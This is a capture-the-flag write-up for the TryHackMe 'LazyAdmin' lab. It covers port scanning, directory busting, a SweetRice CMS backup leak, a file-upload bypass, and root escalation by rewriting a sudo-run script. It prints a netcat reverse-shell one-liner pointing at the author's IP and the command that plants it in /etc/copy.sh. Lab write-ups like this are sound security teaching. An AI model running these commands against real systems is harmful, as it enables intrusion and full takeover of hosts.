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TryHackMe - LazyAdmin

Nmap

┌──(root💀kali)-[~]
└─# nmap -T4 -sC -sV -O -Pn -p- 10.10.1.0    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 15:50 EDT
Nmap scan report for 10.10.1.0
Host is up (0.24s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
|_  256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=6/28%OT=22%CT=1%CU=37647%PV=Y%DS=4%DC=I%G=Y%TM=62BB608
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:04%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M506ST11NW7%O2=M506ST11NW7%O
OS:3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11NW7%O6=M506ST11)WIN(W1=68DF%W2=
OS:68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M506NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1305.33 seconds

Port 80

Directory busting

  • With gobuster we find a directory content

┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.1.0/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt                      
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.1.0/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/28 15:57:42 Starting gobuster in directory enumeration mode
===============================================================
/content              (Status: 301) [Size: 308] [--> http://10.10.1.0/content/]
Progress: 43234 / 87665 (49.32%)                                              [ERROR] 2022/06/28 16:16:20 [!] Get "http://10.10.1.0/STRANGE": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
                                                                               
===============================================================
2022/06/28 16:38:57 Finished
===============================================================

  • It is worth launching gobuster inside content as well. We did find other things there too

┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.1.0/content/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.1.0/content/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/06/28 17:05:29 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.10.1.0/content/images/]
/js                   (Status: 301) [Size: 311] [--> http://10.10.1.0/content/js/]    
/inc                  (Status: 301) [Size: 312] [--> http://10.10.1.0/content/inc/]   
/as                   (Status: 301) [Size: 311] [--> http://10.10.1.0/content/as/]    
/_themes              (Status: 301) [Size: 316] [--> http://10.10.1.0/content/_themes/]
/attachment           (Status: 301) [Size: 319] [--> http://10.10.1.0/content/attachment/]

  • We could search for the admin user and try to use this exploit here

  • We find this interesting exploit by googlin about sweetrice cms

  • We indeed find a sql file here http://10.10.1.0/content/inc/mysql_backup/

  • We can also find a list of files as directory listing is enabled http://10.10.1.0/content/inc/

  • With google research we find in the exploits a reference to the plugin directory http://10.10.1.0/content/_plugin/

The mysql file

  • The mysql backup file contains an MD5 hashed password.

  • If we go in the media page there is a file upload vulnerability. According to the code of this exploit if we change our file extension to php5 it will get uploaded.

  • If we ls to /home we have an itguy directory

  • We can even freely go to this user directory we have enough permissions

  • Let's stabilize our shell python3 -c 'import pty; pty.spawn("/bin/bash")'

  • In the home folder we have a file called mysql_login.txt with a password in it. We can connect to mysql with the password provided mysql -u rice -p

Privilege Escalation

  • Here is what we get if we do sudo -l

sudo -l
Matching Defaults entries or www-data on THM-Chal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

  • Here is the content of backup.pl

cat backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");

  • Here is the content of /etc/copy.sh, it looks like a reverse shell

cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f

  • Let's replace it with the same thing but with my kali IP instead echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.22.56 5554 >/tmp/f" > /etc/copy.sh

  • Our change is successful

cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.22.56 5554 >/tmp/f

  • Let's set our listener to port 5554 rlwrap nc -lvnp 5554

  • And now let's launch the perl script we are allowed to launch sudo /usr/bin/perl /home/itguy/backup.pl

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